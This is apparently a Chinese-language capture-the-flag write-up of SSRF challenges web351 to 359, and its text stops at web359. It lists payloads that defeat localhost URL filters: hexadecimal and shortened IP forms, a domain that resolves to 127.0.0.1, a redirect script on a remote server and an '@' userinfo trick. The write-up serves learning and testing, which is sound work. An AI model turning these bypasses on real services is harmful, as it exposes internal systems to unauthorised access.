SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
web351-353
前两个无过滤
url=http://127.0.0.1/flag.php
第三个
payload:url=http://0x7F000001/flag.php
也可以用地址转换进制
转换
web354
Y4师傅找到一个A记录是127.0.0.1的网站: http://sudo.cc/,可以不用解析自己的了
payload:url=http://sudo.cc/flag.php
web355
设置了$host<5的限制,要求长度小于5那直接http://127.1/flag.php就可以了。
payload:url=http://127.1/flag.php
web356
限制$host<3,
payload:url=http://0/flag.php
0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0
web357
在vps上写入
<?php header("Location:http://127.0.0.1/flag.php"); 然后访问就会跳转到127.0.0.1/flag.php payload:url=http://xxx/bao.php ## web358 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20210703212244686.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ppZV9h,size_16,color_FFFFFF,t_70) payload:url=http://ctf.@127.0.0.1/flag.php?show 这个我记得http协议 @后面的就是host ## web359 好烦啊,一个pip安装上了,报错不是恶心人马?